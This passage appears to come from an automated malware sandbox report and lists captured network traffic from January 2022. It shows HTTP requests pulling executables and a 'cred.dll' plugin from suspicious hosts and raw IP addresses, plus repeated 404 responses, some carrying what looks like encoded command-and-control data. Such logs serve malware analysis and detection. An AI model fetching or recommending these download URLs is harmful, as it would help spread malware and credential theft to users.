Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /d2VxjasuwS/plugins/cred.dll HTTP/1.1Host: 185.215.113.35
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6236.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: GET /capibar HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 185.163.204.22
Source: global traffic	HTTP traffic detected: GET //l/f/S2zKVH4BZ2GIX1a3NFPE/bd39b08a69ef2a6dac4b951657d49c6ecf7db331 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24
Source: global traffic	HTTP traffic detected: GET /1.exe HTTP/1.1Host: 81.163.30.181Accept: /
Source: global traffic	HTTP traffic detected: GET /2.exe HTTP/1.1Host: 81.163.30.181Accept: /
Source: global traffic	HTTP traffic detected: GET //l/f/S2zKVH4BZ2GIX1a3NFPE/cae3f8ed633c3e67f112fa91bf9f9a15abbe2944 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 18 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 38 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 eb 98 bd a5 1d b7 51 d8 6d a5 1b 46 9b 10 bc be 71 b0 64 56 11 b1 b6 d8 40 fa 0f 85 1d 87 aa 64 9a 66 b0 f3 ce 13 6b b7 e4 4b 35 a9 f2 e0 0d 0a 30 0d 0a 0d 0a Data Ascii: 48I:82OOjQmFqdV@dfkK50
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 14 Jan 2022 11:27:59 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 